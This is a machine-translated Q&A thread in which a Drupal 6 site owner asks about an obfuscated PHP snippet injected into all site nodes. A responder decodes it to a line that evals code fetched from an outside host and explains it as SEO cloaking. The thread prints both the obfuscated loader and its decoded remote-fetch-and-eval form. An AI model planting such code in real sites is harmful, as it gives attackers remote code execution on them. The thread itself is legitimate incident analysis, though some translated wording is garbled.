Drupal 6中的SQL PHP注入攻击

Jor*_*bot 4 php sql drupal code-injection

今天,我的drupal 6网站中的所有节点都出现了这个添加的PHP脚本

 ?php $node->nid = 849;
     preg_replace('/^(.'.'*'.')$/'.'e', preg_replace('/^(.'.'*'.')$/'.'e', 'str'.'_'.'rot'.(27-14).'(\'\1\')', 'riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'), 'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vc3NlZHJ1cC5vcmcvYXQvcl9pbmMucGhwJykpOwppZihmdW5jdGlvbl9leGlzdHMoJ25vZGVfdXBkYXRlX2xvZycpKW5vZGVfdXBkYXRlX2xvZygkbm9kZSk7');

    if(@$node->body):
    ?php echo @$node->title;?
    ?php echo @$node->body;?
    ?php else:?

    ... here would go the original text of the node

    ?php endif;?
Run Code Online (Sandbox Code Playgroud)

(我删除了一些符号以确保您可以正确读取PHP代码)

所以,我想这意味着有人能够更新drupal表中的信息并注入这个php脚本.

1 - 这个PHP代码在做什么(如果有的话)?(当然除了阻止节点内容的可视化)
2 - 任何想法他们是如何设法做到这一点的?是Drupal安全漏洞吗?一个Mysql吗?3 - 我想重新启动它的唯一方法是完全恢复数据库......

goo*_*orp 7

做这个的人真的试图让代码难以阅读.

我不是100%确定这是如何工作的,但顶线的最终结果是这样的:

if(!function_exists('node_update_log'))@eval(@file_get_contents('http://ssedrup.org/at/r_inc.php'));
if(function_exists('node_update_log'))node_update_log($node);
Run Code Online (Sandbox Code Playgroud)

无论是谁使你的网站成为目标,因为它是一个Drupal网站,你运行的是最新版本吗?他们可能正在利用Drupal中的一个已知安全漏洞/一个贡献的Drupal模块.你在Drupal节点中使用php过滤器,这可能是接入点.

我看了一下链接到的代码,这也很难读.这是负责更新所有节点的代码.似乎目标是通过查看IP地址来显示搜索引擎抓取工具的特殊内容.这是一种称为计时的SEO策略.

无论如何,链接到运行的实际代码:

简而言之,这种对您网站的攻击意味着隐藏搜索引擎会为您网站上的某些特殊内容编制索引这一事实.这可能是为了提高某些网站的搜索引擎优化.让这个真正知道他想做什么以及如何做的人.